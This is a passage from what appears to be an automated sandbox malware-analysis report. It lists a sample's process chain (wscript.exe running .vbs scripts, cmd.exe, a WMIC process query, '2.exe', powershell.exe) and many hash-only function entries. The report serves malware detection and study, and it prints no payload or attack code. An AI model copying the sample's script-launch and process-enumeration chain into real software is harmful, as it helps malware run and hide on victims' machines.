Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: wscript.exe PID: 5252 Parent PID: 6736

General

Start time:	19:40:26
Start date:	12/02/2021
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\WScript.exe' 'C:\GatonFiles\Scripts\DespiertaDespiertador.vbs'
Imagebase:	0x7ff748630000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5396 Parent PID: 5252

General

Start time:	19:40:28
Start date:	12/02/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ''C:\GatonFiles\Scripts\DespiertaDespiertador.bat' '
Imagebase:	0x7ff7eef80000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 5680 Parent PID: 5396

General

Start time:	19:40:28
Start date:	12/02/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6380 Parent PID: 5396

General

Start time:	19:40:29
Start date:	12/02/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wmic process where 'CommandLine like '%C:\\GatonFiles\\Scripts\\Despiertador.bat%' and not CommandLine like '%RuntimeBroker%'' get CommandLine , ProcessId /format:value
Imagebase:	0x7ff7eef80000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WMIC.exe PID: 4828 Parent PID: 6380

General

Start time:	19:40:29
Start date:	12/02/2021
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic process where 'CommandLine like '%C:\\GatonFiles\\Scripts\\Despiertador.bat%' and not CommandLine like '%RuntimeBroker%'' get CommandLine , ProcessId /format:value
Imagebase:	0x7ff637bc0000
File size:	521728 bytes
MD5 hash:	EC80E603E0090B3AC3C1234C2BA43A0F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: wscript.exe PID: 5848 Parent PID: 5396

General

Start time:	19:40:33
Start date:	12/02/2021
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\WScript.exe' 'C:\GatonFiles\Scripts\Despiertador.vbs' param1
Imagebase:	0x7ff748630000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: 2.exe PID: 4632 Parent PID: 5716 2.exeCOMMON

Executed Functions

Function 00007FFA1D93BE6D, Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.376757798.00007FFA1D930000.00000040.00000001.sdmp, Offset: 00007FFA1D930000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b8f2189dada451aa1f90c25ac3a7a2738f27442ec2e241c2da1bb0b5394ee83
Instruction ID: be3da8ab8bdccf8dbe6bb48ae25fbac22b25637e3275cdbf409186d588c2e04e
Opcode Fuzzy Hash: 5b8f2189dada451aa1f90c25ac3a7a2738f27442ec2e241c2da1bb0b5394ee83
Instruction Fuzzy Hash: CC012636B28D194FD7A5E32CD491BB973C1EF46318F448678D50EC36D2EE28684A83C0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D93C060, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.376757798.00007FFA1D930000.00000040.00000001.sdmp, Offset: 00007FFA1D930000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15b09db9090af2c723cd10688b1e53fb034e0d54282bf9310c98b0db328f25b7
Instruction ID: fa086c6f8338a29e52f3026ce7858ab8ae2a1a6aa4273f4991126261a1273f69
Opcode Fuzzy Hash: 15b09db9090af2c723cd10688b1e53fb034e0d54282bf9310c98b0db328f25b7
Instruction Fuzzy Hash: 7AF02B35408F9C8FCB50EB69D804BD4BBB4FB89315F4041E9D04CCB161EA361A84CB46

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D93BF78, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.376757798.00007FFA1D930000.00000040.00000001.sdmp, Offset: 00007FFA1D930000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa1af2eb8d6fcda576c62c024e94f97970361ce019eecd1b3b18206fe5beea16
Instruction ID: 5f033c7fecbae6c78dcd99cbe3d14eacefc544f81c6974bf18064bb6950cf99b
Opcode Fuzzy Hash: fa1af2eb8d6fcda576c62c024e94f97970361ce019eecd1b3b18206fe5beea16
Instruction Fuzzy Hash: 15E02B34508F4C8FDB14EB94D4047D8BBA4FB4A319F0040BAD40CCB151D2355584CF82

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D93BF3E, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.376757798.00007FFA1D930000.00000040.00000001.sdmp, Offset: 00007FFA1D930000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90fbcbcad9579e91bd9c07f1d8eed81d4f94a68dcfcb75fdfc95529b46e517b4
Instruction ID: cab83686e12d9d719793ecd8b3dcec37ce35b39dc7b288eed6e716caa272b7ba
Opcode Fuzzy Hash: 90fbcbcad9579e91bd9c07f1d8eed81d4f94a68dcfcb75fdfc95529b46e517b4
Instruction Fuzzy Hash: FFE02B34508F5C9FC710EF94D8086D8B7A4FB49319F0041A9D40CCB161D3355944CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D93C54C, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.376757798.00007FFA1D930000.00000040.00000001.sdmp, Offset: 00007FFA1D930000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e648dc6f63e20e43f666fcbb7e7cd3b1a7a7eff7fd45ba4fb8ad550d409ffed9
Instruction ID: ee5d4047a806dc84d4578fdd5ab78850127bc69cc178ea5c26e8b6dc2b5a4238
Opcode Fuzzy Hash: e648dc6f63e20e43f666fcbb7e7cd3b1a7a7eff7fd45ba4fb8ad550d409ffed9
Instruction Fuzzy Hash: 01F02B3480CF9C9FCB50EFA5D8047D4B7A4FB4A329F4000E9D00CC7151D6351A94CB45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D93C44C, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.376757798.00007FFA1D930000.00000040.00000001.sdmp, Offset: 00007FFA1D930000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 597d64e1eb3e1426ef4d6d6c613a4e7535f193c06f0ef7d4556dde8dbc66f99d
Instruction ID: f014502c132a9ebf61fdaeac642e2930655aa7eab49cdd22aa87eb12d7289055
Opcode Fuzzy Hash: 597d64e1eb3e1426ef4d6d6c613a4e7535f193c06f0ef7d4556dde8dbc66f99d
Instruction Fuzzy Hash: 61F0E53541CF9C9BCB50EF65A808BE4B7A4FB4A315F0000E9D05CC6151E6361A84CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D93C34C, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.376757798.00007FFA1D930000.00000040.00000001.sdmp, Offset: 00007FFA1D930000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea7f9b0c6f89172d9c06d6de842167f747b72e766e5c9f02b69fc613c85f2b92
Instruction ID: dbf09c4dbb50d77e69173c1703ea2d25f0da866308ecf5fce0cf0910711f2e20
Opcode Fuzzy Hash: ea7f9b0c6f89172d9c06d6de842167f747b72e766e5c9f02b69fc613c85f2b92
Instruction Fuzzy Hash: 1FF02B34808F9C9FCB54EB65D8047E9B7A4FB4A315F0040E9D00CC7251D7351A88CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D93C24C, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.376757798.00007FFA1D930000.00000040.00000001.sdmp, Offset: 00007FFA1D930000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c2da595153151869cb16f52bbf09f4d853b21468eaab000bd3af4b135cbead7
Instruction ID: 6815f231d60d3eb2e880d35efc75ecbee90d17a11aba7fb17f92c71256aac227
Opcode Fuzzy Hash: 9c2da595153151869cb16f52bbf09f4d853b21468eaab000bd3af4b135cbead7
Instruction Fuzzy Hash: 70F0E534808F9C9BDB90EBA5D804BD4B7A4FB4A315F0401E9D00CC7151D6355A94CB45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D93C14C, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.376757798.00007FFA1D930000.00000040.00000001.sdmp, Offset: 00007FFA1D930000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b352a697fa121a22906123f83f464caf27d10096722fc99f0f6dc3652a282615
Instruction ID: 174a5dd92fc798ff1c3208a8de357796a6762516f497266790e2d24ff18097fa
Opcode Fuzzy Hash: b352a697fa121a22906123f83f464caf27d10096722fc99f0f6dc3652a282615
Instruction Fuzzy Hash: 72F0E534508F9CAFCB50EBA59804799B7A4FB4A325F4000E9D04CC6151D6351A88CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D93BFB2, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.376757798.00007FFA1D930000.00000040.00000001.sdmp, Offset: 00007FFA1D930000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d1d1e49e6c71eac28565673d0ceb4da4f23311ef797e8caca0b11faebcc7b6a
Instruction ID: 1c9e93183fb18b4053be9d403caa7f9bebccc12f832a62ca6ce90cea3a62f2fc
Opcode Fuzzy Hash: 7d1d1e49e6c71eac28565673d0ceb4da4f23311ef797e8caca0b11faebcc7b6a
Instruction Fuzzy Hash: F3E02B38508B5C8FD711EBA4D8146E8B7A4FB49319F0101EDD00CC7151D7351545CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D93C18C, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.376757798.00007FFA1D930000.00000040.00000001.sdmp, Offset: 00007FFA1D930000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e52728e178508278262cc5c1aeadd89900250542c9a7ede2d266eff4c000bf7
Instruction ID: 1281ee01080729f21b4ee66b253a45351008c8bf0de9593e18806fdb806d30a1
Opcode Fuzzy Hash: 7e52728e178508278262cc5c1aeadd89900250542c9a7ede2d266eff4c000bf7
Instruction Fuzzy Hash: 0EF02B39408F9C8FC714EBA5D8047D5BBE4FB49316F4001EAD00CC7251D3351954CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D93C28C, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.376757798.00007FFA1D930000.00000040.00000001.sdmp, Offset: 00007FFA1D930000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78eeb25156fe84b26435d7deea635561fc6fd2cfc42421879b0101edd7bb170d
Instruction ID: 540a16f93a4c29eec404ca75fef724fb9c0c58e6aaf86928067d29eb00152e22
Opcode Fuzzy Hash: 78eeb25156fe84b26435d7deea635561fc6fd2cfc42421879b0101edd7bb170d
Instruction Fuzzy Hash: 54F02B39808F9C8FD710EB95D8047D4BBE4FB49316F0401EAD00CC7151D3355944CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D93C38C, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.376757798.00007FFA1D930000.00000040.00000001.sdmp, Offset: 00007FFA1D930000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f861b02da02f13d854bf42cb928d437cc81c2e08c4ebbcc30a0e2c2ddc3599d2
Instruction ID: 5da60e48eddf5fe6fe94f04d32506ad77aa45fc268fb2318de166062b5547f89
Opcode Fuzzy Hash: f861b02da02f13d854bf42cb928d437cc81c2e08c4ebbcc30a0e2c2ddc3599d2
Instruction Fuzzy Hash: 19F0E539448E9D8BC764EB5598047E4BBA4FB49316F0101EAD41CC7551E3351944CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D93C48C, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.376757798.00007FFA1D930000.00000040.00000001.sdmp, Offset: 00007FFA1D930000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0814239e6df98346d7f6fd0d7e5ec7342a970e8fde7587b78fdb6f0fac0d37c5
Instruction ID: f4b4c6421bd7714e4fc103534c5cf485a414b2585dfb44408881599e088286c7
Opcode Fuzzy Hash: 0814239e6df98346d7f6fd0d7e5ec7342a970e8fde7587b78fdb6f0fac0d37c5
Instruction Fuzzy Hash: 03F02B39808F9C9FC755EF55E8096E4BBE4FB49316F0001EAD01CC7151E3751A84CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D93BFEC, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.376757798.00007FFA1D930000.00000040.00000001.sdmp, Offset: 00007FFA1D930000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e40f937ce9154ad09f92d5aeb62289f6f3f0d528b3030b82ff1407a948e5b6c
Instruction ID: e47b027f5cd30a15551bd02ec5b0cf5109dc99e42d217a86d20568793ef635f7
Opcode Fuzzy Hash: 6e40f937ce9154ad09f92d5aeb62289f6f3f0d528b3030b82ff1407a948e5b6c
Instruction Fuzzy Hash: DDE0E534408F9C8BDB51EBA99404A99BBB4FB4A315F1000ADD01CC7151D2361544CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D93C1CC, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.376757798.00007FFA1D930000.00000040.00000001.sdmp, Offset: 00007FFA1D930000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6cf10a99dd6e18d3407efbc1557718180333ce988e93814cc3c97a98ba6b279
Instruction ID: 8e1e3292f70fc6216fb3421bb7a4536bc67f0f0d8deb671e4d85d291794925c6
Opcode Fuzzy Hash: a6cf10a99dd6e18d3407efbc1557718180333ce988e93814cc3c97a98ba6b279
Instruction Fuzzy Hash: FAF02B34808F9C8FCB91EFA5D804BE4B7A5FB49315F0001EAD41CC7261D7355A84CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D93C2CC, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.376757798.00007FFA1D930000.00000040.00000001.sdmp, Offset: 00007FFA1D930000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a568d40bf394d89daf3c83fbb609f1bd7512510cd8ac1f3ba91792dcc6da09bb
Instruction ID: e0e119d74dad302b0fa7c12fdeff7a7589b760120b83b7d63f867b7827914326
Opcode Fuzzy Hash: a568d40bf394d89daf3c83fbb609f1bd7512510cd8ac1f3ba91792dcc6da09bb
Instruction Fuzzy Hash: 01F02B35408F9C8FDB55EF95D8047D4B7A4FB49315F0001EAD00CC7291D6355A84CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D93C3CC, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.376757798.00007FFA1D930000.00000040.00000001.sdmp, Offset: 00007FFA1D930000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f862a1574f7f2770ae3c67ea4df3a5d65a60cf0c002ebe87f62fc02107918473
Instruction ID: 29bb5e7d3ba4b2fa26201ed1b66c554867c04f17995899d5dfa5dbfdd61080d9
Opcode Fuzzy Hash: f862a1574f7f2770ae3c67ea4df3a5d65a60cf0c002ebe87f62fc02107918473
Instruction Fuzzy Hash: 7AF0E534448E9D8BCB65EF559808BF4BBA4FB49315F0100E9D01CC6651E6351A85CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D93C4CC, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.376757798.00007FFA1D930000.00000040.00000001.sdmp, Offset: 00007FFA1D930000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0598c6dede420a5df1de91de9e4f9f20bd9808fe7d03693add8aacea1fe58d6
Instruction ID: 55308998002b03de8bc4dc2693d28e9c9319581d79eab24466ac68a17707173a
Opcode Fuzzy Hash: d0598c6dede420a5df1de91de9e4f9f20bd9808fe7d03693add8aacea1fe58d6
Instruction Fuzzy Hash: D1F02B34418F9C8FCB55EF55E8187E5B7A4FB4A319F0000E9D00CC7251D6351A84CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D93C026, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.376757798.00007FFA1D930000.00000040.00000001.sdmp, Offset: 00007FFA1D930000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9883364ce6b507a7372db63c77631962d830c6d9028d942a473b6583ab72a5a1
Instruction ID: db786aa8130ca0c2bfc7180c90a68acd24332b79d2bbb8136dae072fe4fc331b
Opcode Fuzzy Hash: 9883364ce6b507a7372db63c77631962d830c6d9028d942a473b6583ab72a5a1
Instruction Fuzzy Hash: EEE02B3441CF9C8FCB10EF99D8046D8BBB4FB4A319F4101A9D00CC7151D7365544C786

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D93BF04, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.376757798.00007FFA1D930000.00000040.00000001.sdmp, Offset: 00007FFA1D930000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc3de966587e932b01463e8798c403c9c090b0e4dcd458437c7dc8109434483c
Instruction ID: f3b1c46409de7327a6e0691cba03a3f0a253190683066e97e7ac3fec2b060244
Opcode Fuzzy Hash: cc3de966587e932b01463e8798c403c9c090b0e4dcd458437c7dc8109434483c
Instruction Fuzzy Hash: 7FE02B34518B8C9FCB15EF94D4146E8BBA4FB89319F4100ADD00CCB251D2351554CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D93C20C, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.376757798.00007FFA1D930000.00000040.00000001.sdmp, Offset: 00007FFA1D930000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fd70d5006aad632860cb3726f3b0f528cf939306c564418d2f9fb845da66719
Instruction ID: bb34a7ee1b204754d9beac493cca2577236b5623b5820a9ffe34d3e9d26cdfb7
Opcode Fuzzy Hash: 1fd70d5006aad632860cb3726f3b0f528cf939306c564418d2f9fb845da66719
Instruction Fuzzy Hash: 17F0E534818E9C9BD710EB99D804BD5B7A4FB49329F4401E9D00CC7151D3355A54CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D93C10C, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.376757798.00007FFA1D930000.00000040.00000001.sdmp, Offset: 00007FFA1D930000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0df8c7926fbf91a11330f62e86f7592193eb73563472706f01c4fd6cbbd4c18b
Instruction ID: b092e718c168555637f1169f127a42eff32cf48499d069c96705a01119438a72
Opcode Fuzzy Hash: 0df8c7926fbf91a11330f62e86f7592193eb73563472706f01c4fd6cbbd4c18b
Instruction Fuzzy Hash: 50F02B34518F9C9FC710EF99D8047D5B7A4FB4A329F8001E9D04CC7151D3351A44CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D93C30C, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.376757798.00007FFA1D930000.00000040.00000001.sdmp, Offset: 00007FFA1D930000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2da86090e9b36be8aebac81a8878ec8b42a6f84d51d18821967e4e952587362
Instruction ID: 0c4a8c9263714821eef0d05050dd78564fd11c05bf445f41e2f85eccfa9db29e
Opcode Fuzzy Hash: c2da86090e9b36be8aebac81a8878ec8b42a6f84d51d18821967e4e952587362
Instruction Fuzzy Hash: 7FF02B34818F9C9FDB54EB59D8047E9B7A4FB49315F4001E9D00CC7151D3351A84CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D93C40C, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.376757798.00007FFA1D930000.00000040.00000001.sdmp, Offset: 00007FFA1D930000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5146b38179074454ee965b20dba46dbc72b304abd1305fdc10d390c15deec569
Instruction ID: 8907de3867b5088024004ce7dc75303174c22927a93118bcf7aead53a024bb5f
Opcode Fuzzy Hash: 5146b38179074454ee965b20dba46dbc72b304abd1305fdc10d390c15deec569
Instruction Fuzzy Hash: BDF0E534418E9C9BC711EF59A8087E5B7A4FB89315F4001E9D00CC7151E3351A94CB46

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D93C50C, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.376757798.00007FFA1D930000.00000040.00000001.sdmp, Offset: 00007FFA1D930000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 254cf59edddce37f2eb5a9f44fe467d95b7253f867174e4eb1b87d09ec477f0d
Instruction ID: dc0b35ac9331f6d297d3cd83ec491f87cbe3b5f9e2719a9112375693584aebcb
Opcode Fuzzy Hash: 254cf59edddce37f2eb5a9f44fe467d95b7253f867174e4eb1b87d09ec477f0d
Instruction Fuzzy Hash: D1F0E53881CF9C9BCB11EB99A8046D5B7A4FB4D319F4001E9D00CC7151D3351A54CB45

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: powershell.exe PID: 4548 Parent PID: 4596 powershell.exeCOMMON

Executed Functions

Function 00007FFA1D916178, Relevance: 1.5, Strings: 1, Instructions: 296COMMON

Download Yara Rule

Strings

XO]u, xrefs: 00007FFA1D9163B7

Memory Dump Source

Source File: 00000006.00000002.270491164.00007FFA1D910000.00000040.00000001.sdmp, Offset: 00007FFA1D910000, based on PE: false

Similarity

API ID:
String ID: XO]u
API String ID: 0-2067895302
Opcode ID: 1b856aaea622a6174e138b251e05b7d3884bd4fdc2e9e8496658f6b85c4439c0
Instruction ID: fcd2ca19969a51c6343b6394afe4b64add800f544208f2413ce60de990c80eaa
Opcode Fuzzy Hash: 1b856aaea622a6174e138b251e05b7d3884bd4fdc2e9e8496658f6b85c4439c0
Instruction Fuzzy Hash: BB91CC3150D7C64FD347973898655A17FF0EF5732070A42EBD089CB1A3EA586C4ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D9EAC1A, Relevance: 1.4, Strings: 1, Instructions: 118COMMON

Download Yara Rule

Strings

@TDq, xrefs: 00007FFA1D9EAC57

Memory Dump Source

Source File: 00000006.00000002.270981692.00007FFA1D9E0000.00000040.00000001.sdmp, Offset: 00007FFA1D9E0000, based on PE: false

Similarity

API ID:
String ID: @TDq
API String ID: 0-1660078822
Opcode ID: 0eb773ec7f8b4abfa7310d24f5162a995211fdfc8b9ebd7e911e9684fd0dc1d9
Instruction ID: 4b571d55e0419497f68659d552562e226db7408abdbe3267f8e22189fef6f5a4
Opcode Fuzzy Hash: 0eb773ec7f8b4abfa7310d24f5162a995211fdfc8b9ebd7e911e9684fd0dc1d9
Instruction Fuzzy Hash: 79316D32B0CE494FEB65E75C8441ABAB7D1EF56320B1981BED05EC7193DE18E8058781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D9E6CE3, Relevance: 1.3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

Strings

@TDq, xrefs: 00007FFA1D9E6D27

Memory Dump Source

Source File: 00000006.00000002.270981692.00007FFA1D9E0000.00000040.00000001.sdmp, Offset: 00007FFA1D9E0000, based on PE: false

Similarity

API ID:
String ID: @TDq
API String ID: 0-1660078822
Opcode ID: 1f4935850583335f10b3c33dda8db3a05c94f7a9b0c045e51b4f11425b45cf95
Instruction ID: c04a5a02b79789a77badd35a69d1a263b83b6ccdace3f202744bd2cf32751385
Opcode Fuzzy Hash: 1f4935850583335f10b3c33dda8db3a05c94f7a9b0c045e51b4f11425b45cf95
Instruction Fuzzy Hash: 39117A72E0CA894FE7A5D74848419B8BB92EF1A320B9541BEC41DCB583DE149841CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D9EABCD, Relevance: 1.3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

Strings

@TDq, xrefs: 00007FFA1D9EAC57

Memory Dump Source

Source File: 00000006.00000002.270981692.00007FFA1D9E0000.00000040.00000001.sdmp, Offset: 00007FFA1D9E0000, based on PE: false

Similarity

API ID:
String ID: @TDq
API String ID: 0-1660078822
Opcode ID: 2d68977e6b1cf518b08d0fc69ca5886410c4b062d17328256a7568a6b524ed74
Instruction ID: 42fc570dca05b8b35fdb49331cda9c6b3ab5716d219cebd2dc3005144253e888
Opcode Fuzzy Hash: 2d68977e6b1cf518b08d0fc69ca5886410c4b062d17328256a7568a6b524ed74
Instruction Fuzzy Hash: 2D11E667D0EBC54FE762A3A418655AABFE0EF13360F1D40FED09D8B0A3E81C58058B52

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D919D27, Relevance: .7, Instructions: 749COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.270491164.00007FFA1D910000.00000040.00000001.sdmp, Offset: 00007FFA1D910000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72c45f49992f6d754668a5a2c5f3488e87eeaadcf2063cb413d83703629cd28f
Instruction ID: 6eb9412104d1d812127c33ddfb0152cc20b12e5f673af919e6ea7b24c0e95b0e
Opcode Fuzzy Hash: 72c45f49992f6d754668a5a2c5f3488e87eeaadcf2063cb413d83703629cd28f
Instruction Fuzzy Hash: 9402A031A18A498FDB84EF6CC485AA97BF1FF59320F158169D40DD7296DA34EC82CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D9186BC, Relevance: .5, Instructions: 523COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.270491164.00007FFA1D910000.00000040.00000001.sdmp, Offset: 00007FFA1D910000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9c493437fa038b7b6ea1b88fa98b3d3ae1af16a5a77514e5ea6bf50bb071488
Instruction ID: 9502729b021b7d338afc32c8e6c972be86072fc4339cef826bffbeed13d86133
Opcode Fuzzy Hash: e9c493437fa038b7b6ea1b88fa98b3d3ae1af16a5a77514e5ea6bf50bb071488
Instruction Fuzzy Hash: 1202F430A08E4D8FDB84DF6CC495AA97BE1FF59320F1541ADD41DDB296DA38E842CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D9E81BD, Relevance: .4, Instructions: 424COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.270981692.00007FFA1D9E0000.00000040.00000001.sdmp, Offset: 00007FFA1D9E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f58b4b89699224b720b48bd55dfa0b8b4f3476a63b4bac3cc787f9a6f3321be5
Instruction ID: c5ca5174992023226768f33d32f4241246b73c3193ae28b56ad44eb949963b10
Opcode Fuzzy Hash: f58b4b89699224b720b48bd55dfa0b8b4f3476a63b4bac3cc787f9a6f3321be5
Instruction Fuzzy Hash: C4C1667580DB895FE766976898045B57FA0FF83330B0A41FBD09DCB593EA1CA806C792

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFA1D9E8251, Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.270981692.00007FFA1D9E0000.00000040.00000001.sdmp, Offset: 00007FFA1D9E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9eb3cf493ab5dd74b11f5b813fa94c95318fc29f72060a8d3e6e870cb3ddf6d7
Instruction ID: ee6a49caf4bebf13b07e8c86e02323aba77de61809e624aa330027fc8dc56e8e
Opcode Fuzzy Hash: 9eb3cf493ab5dd74b11f5b813fa94c95318fc29f72060a8d3e6e870cb3ddf6d7
